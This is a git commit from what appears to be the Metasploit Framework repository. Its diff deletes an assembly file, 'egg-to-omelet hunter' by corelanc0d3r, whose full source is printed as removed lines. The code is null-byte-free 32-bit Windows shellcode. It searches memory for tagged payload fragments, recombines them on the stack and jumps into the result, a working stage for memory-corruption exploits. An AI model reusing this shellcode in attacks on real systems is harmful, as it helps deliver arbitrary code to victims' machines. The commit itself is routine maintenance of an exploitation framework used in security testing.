remove asm file now that the assembly is inlined in the class
git-svn-id: file:///home/svn/framework3/trunk@10120 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
49beb83081
commit
5201aa885a
|
@ -1,100 +0,0 @@
|
|||
;--------------------------------------------------
|
||||
;corelanc0d3r - egg-to-omelet hunter - null byte free
|
||||
;v1.0
|
||||
;http://www.corelan.be:8800
|
||||
;peter.ve@corelan.be
|
||||
;--------------------------------------------------
|
||||
BITS 32
|
||||
|
||||
nr_eggs equ 0x2 ;number of eggs
|
||||
egg_size equ 0x7b ;123 bytes of payload per egg
|
||||
|
||||
jmp short start
|
||||
|
||||
;routine to calculate the target location
|
||||
;for writing recombined shellcode (omelet)
|
||||
;I'll use EDI as target location
|
||||
;First, I'll make EDI point to end of stack
|
||||
;and I'll put the number of shellcode eggs in eax
|
||||
get_target_loc:
|
||||
;get stack pointer and put it in EDI
|
||||
push esp
|
||||
pop edi
|
||||
;set EDI to end of stack
|
||||
or di,0xffff ;edi=0x....ffff = end of current stack frame
|
||||
mov edx,edi ;use edx as start location for the search
|
||||
xor eax,eax ;zero eax
|
||||
mov al,nr_eggs ;put number of eggs in eax
|
||||
calc_target_loc:
|
||||
xor esi,esi ;use esi as counter to step back
|
||||
mov si,0-egg_size+20 ;add 20 bytes of extra space, per egg
|
||||
|
||||
get_target_loc_loop: ;start loop
|
||||
dec edi ;step back
|
||||
inc esi ;and update ESI counter
|
||||
cmp si,-1 ;continue to step back until ESI = -1
|
||||
jnz get_target_loc_loop
|
||||
dec eax ;loop again if we did not take all pieces
|
||||
;into account yet
|
||||
jnz calc_target_loc
|
||||
;edi now contains target location for recombined shellcode
|
||||
xor ebx,ebx ;put loop counter in ebx
|
||||
mov bl,nr_eggs+1
|
||||
ret
|
||||
|
||||
start:
|
||||
call get_target_loc ;jump to routine which will calculate shellcode
|
||||
;target address
|
||||
|
||||
;start looking, using edx as basepointer
|
||||
jmp short search_next_address
|
||||
find_egg:
|
||||
dec edx ;scasd does edx+4, so dec edx 4 times + inc edx one time
|
||||
; to make sure we don't miss any pointers
|
||||
dec edx
|
||||
dec edx
|
||||
dec edx
|
||||
search_next_address:
|
||||
inc edx ;next one
|
||||
push edx ;save edx
|
||||
push byte +0x02
|
||||
pop eax ;set eax to 0x02
|
||||
int 0x2e
|
||||
cmp al,0x5 ;address readable ?
|
||||
pop edx ;restore edx
|
||||
je search_next_address ;if address is not readable, go to next address
|
||||
mov eax,0x77303001 ;if address is readable, prepare tag in eax
|
||||
add eax,ebx ;add offset (ebx contains egg counter, remember ?)
|
||||
xchg edi,edx ;switch edx/edi
|
||||
scasd ;edi points to the tag ?
|
||||
xchg edi,edx ;switch edx/edi back
|
||||
jnz find_egg ;if tag was not found, go to next address
|
||||
;found the tag at edx
|
||||
|
||||
copy_egg:
|
||||
;ecx must first be set to egg_size (used by rep instruction)
|
||||
;and esi as source
|
||||
mov esi,edx ;set ESI = EDX (needed for rep instruction)
|
||||
xor ecx,ecx
|
||||
mov cl,egg_size ;set copy counter
|
||||
rep movsb ;copy egg from ESI to EDI
|
||||
dec ebx ;decrement egg
|
||||
cmp bl,1 ;found all eggs ?
|
||||
jnz find_egg ;no = look for next egg
|
||||
; done - all eggs have been found and copied
|
||||
|
||||
done:
|
||||
call get_target_loc ; re-calculate location where recombined shellcode is placed
|
||||
jmp edi ; and jump to it :)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
Loading…
Reference in New Issue